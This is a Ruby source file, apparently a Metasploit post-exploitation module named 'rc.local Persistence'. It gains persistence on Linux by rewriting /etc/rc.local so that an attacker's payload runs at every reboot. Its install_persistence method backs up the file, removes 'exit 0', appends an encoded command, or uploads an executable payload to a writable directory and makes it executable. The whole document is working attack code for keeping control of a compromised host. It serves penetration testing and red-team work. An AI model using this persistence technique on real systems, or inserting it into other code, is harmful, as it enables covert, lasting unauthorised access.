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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::EXE # for generate_payload_exe
include Msf::Exploit::Local::Persistence
include Msf::Auxiliary::Report
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Deprecated
moved_from 'exploits/linux/local/rc_local_persistence'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'rc.local Persistence',
'Description' => %q{
This module will edit /etc/rc.local in order to persist a payload.
The payload will be executed on the next reboot.
Verified on Ubuntu 18.04.3
},
'License' => MSF_LICENSE,
'Author' => [ 'Eliott Teissonniere' ],
'Platform' => [ 'unix', 'linux' ],
'Arch' => [
ARCH_CMD,
ARCH_X86,
ARCH_X64,
ARCH_ARMLE,
ARCH_AARCH64,
ARCH_PPC,
ARCH_MIPSLE,
ARCH_MIPSBE
],
'Payload' => {
'BadChars' => '#%\n"'
},
'References' => [
['ATT&CK', Mitre::Attack::Technique::T1037_004_RC_SCRIPTS]
],
'SessionTypes' => [ 'shell', 'meterpreter' ],
'DisclosureDate' => '1980-10-01', # The rc command appeared in 4.0BSD.
'Targets' => [ ['Automatic', {}] ],
'Privileged' => true,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
},
'DefaultTarget' => 0
)
)
register_options([
OptString.new('PAYLOAD_NAME', [false, 'Name of the payload file to write']),
])
end
def check
print_warning('Payloads in /tmp will only last until reboot, you want to choose elsewhere.') if writable_dir.start_with?('/tmp')
# a few notes for those who like to read source code. On Ubuntu 18.04.3, when no
# /etc/rc.local file exists, systemctl status rc.local shows inactive (dead).
# When /etc/rc.local exists, systemctl status rc.local shows active (exited).
# so checking the service status isn't necessarily helpful.
if exists?('/etc/rc.local')
return CheckCode::Safe('/etc/rc.local isnt writable') unless writable?('/etc/rc.local')
else
return CheckCode::Safe('/etc/ isnt writable') unless writable?('/etc/')
end
CheckCode::Appears('/etc/rc.local is writable')
end
def install_persistence
print_warning('Payloads in /tmp will only last until reboot, you may want to choose elsewhere.') if writable_dir.start_with?('/tmp')
rc_path = '/etc/rc.local'
print_status "Reading #{rc_path}"
# read /etc/rc.local, but remove `exit 0`
rc_local = '#!/bin/sh'
if exists? rc_path
rc_local = read_file(rc_path).gsub(/^exit.*$/, '')
backup_profile_path = store_loot('rc.local', 'text/plain', session, rc_local, 'rc.local', '/etc/rc.local backup')
print_status("Created /etc/rc.local backup: #{backup_profile_path}")
@clean_up_rc << "upload #{backup_profile_path} #{rc_path}\n"
else
@clean_up_rc << "rm #{rc_path}\n"
end
if payload.arch.first == 'cmd'
# add payload and put back `exit 0`
pload = payload.encoded
pload = "#{pload} &" unless pload.end_with?('&')
rc_local << "\n#{pload}\nexit 0\n"
print_status "Patching #{rc_path}"
else
payload_path = writable_dir
payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/"
payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10)
payload_path << payload_name
print_status("Uploading payload file to #{payload_path}")
upload_and_chmodx payload_path, generate_payload_exe
rc_local << "\n#{payload_path} &\nexit 0\n"
@clean_up_rc << "rm #{payload_path}\n"
end
# write new file
write_file(rc_path, rc_local)
chmod(rc_path, 0o755)
print_good('Payload will be triggered at next reboot')
end
end